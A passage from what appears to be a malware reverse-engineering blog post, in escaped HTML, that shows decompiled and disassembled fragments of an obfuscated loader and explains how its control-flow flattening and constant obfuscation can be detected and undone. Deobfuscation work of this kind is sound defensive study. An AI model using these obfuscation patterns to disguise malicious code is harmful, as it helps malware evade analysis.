                  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1949251370&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dword_48ADFC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1222248860&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;215978185&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;err&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1834411218&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1920510847&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1920510847&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                      &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_48B77C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1750707187&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or, if you’re a graphical person:&lt;/p&gt;
&lt;figure id=&quot;rhada_cff_cfg&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/11/rhada_cff_cfg.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/11/rhada_cff_cfg.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/11/rhada_cff_cfg.png&quot; alt=&quot;Control flow graph for loader main function&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/11/rhada_cff_cfg.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/11/rhada_cff_cfg.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/11/rhada_cff_cfg.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Control flow graph for loader main function (0x40A560).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h4 id=&quot;very-small-functions-are-problematic&quot;&gt;(Very) small functions are problematic&lt;/h4&gt;

&lt;p&gt;The compiler apparently finds small functions “manageable” in terms of their optimization potential.
It precomputes lots of stuff belonging to the obfuscation, merges blocks, and so on.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FE8&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xor&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FEA&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xor&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FEC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;15BEFF06h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FF1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;setl&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;dl&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FF4&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;setnz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;bl&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FF7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0Bh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00414&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FFA&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415001&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0E18D1F3Ch&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415006&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0Dh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041500&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415010&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415013&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;14h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then later on you get:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415048&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041504&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;10h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415050&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415050&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48CC00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415057&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415059&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041505&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; ----------------------------------------------------&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041505&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;1Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0041505&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;F&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48CC00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415066&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;00415068&lt;/span&gt;                 &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The condition processing all happens in a single block at the top of the function and is pretty much decoupled from the jumps.
This is quite different from what we’ve been dealing with in larger functions.
Our patching approach is not suitable here, because we’d have to pretty much rewrite the entire function from scratch.&lt;/p&gt;

&lt;p&gt;In the end it’s not too big of a loss, though - these functions usually comprise only around 100 lines of assembly (most of which is obfuscator trash), so figuring out what they do by hand is doable.&lt;/p&gt;

&lt;h3 id=&quot;dealing-with-constants&quot;&gt;Dealing with constants&lt;/h3&gt;

&lt;p&gt;Let’s take a break from the control flow stuff for a moment and deal with something easier.&lt;/p&gt;

&lt;p&gt;For the constant obfuscation, there are basically two ways the memory load is done: Either there’s a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov&lt;/code&gt; with a load followed by an arithmetic operation with a constant - or it’s the other way around, where the arithmetic operation has the memory operand.
So in essence, we just need to look out for all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov/movzx/add/sbb/sub/xor reg, [imm32]&lt;/code&gt; instructions.&lt;/p&gt;

&lt;p&gt;One problem is that such instructions can definitely appear as part of the underlying program, so we need some way to differentiate which ones are from the obfuscator and which ones must remain untouched. As it happens, if you collect all addresses and sort them, the ones from the obfuscator are clustered together.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEB4&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEB4&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;545AE7F4h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+EF0↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEB8&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEB8&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;372ECFB4h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+EFD↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEBC&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEBC&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;9B874143h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560:loc_40C592↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC0&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEC0&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;7A9F2473h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+203E↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC4&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEC4&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;381897B5h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+205D↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC8&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEC8&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+1DC2↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEC9&lt;/span&gt;                 &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ign&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AECC&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AECC&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0D2B6F7Dh&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560:loc_40AE3E↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AED0&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AED0&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0D9E7D1Bh&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40A560+8EA↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AED4&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AED4&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0F813A068h&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+C↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AED8&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AED8&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;66A48DFEh&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+A3↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEDC&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEDC&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0E92E6D27h&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+73↑r&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.data:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0048&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AEE0&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AEE0&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;13A7AAC9h&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; DATA XREF: sub_40C8B0+17↑r&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For this particular analysis, it makes sense to work at the program-level rather than individual functions.
The xrefs are not strictly linear and the more complete your picture is, the better.&lt;/p&gt;

&lt;p&gt;I found that valid addresses are at most 0x10 bytes away from each other, but sometimes there are gaps where there’s some other data in between clusters of obfuscator addresses.
For this sample, if you mandate that a valid cluster needs at least 10 addresses following the 0x10 rule, you will catch all obfuscator addresses.
Any outliers will be addresses belonging to the real code.&lt;/p&gt;

&lt;p&gt;Once we have that, we can simply replace all memory operands with their immediate values.
Patching is trivial, because in x86, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reg, imm32&lt;/code&gt; operands are always shorter or the same length as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reg, [imm32]&lt;/code&gt; operands, so we can’t run into space problems.&lt;/p&gt;

&lt;p&gt;I will forego actually fully folding the constants and leave that job to an optimizing decompiler.
One reason for that is certainly that there are nasty occurrences such as this:&lt;/p&gt;

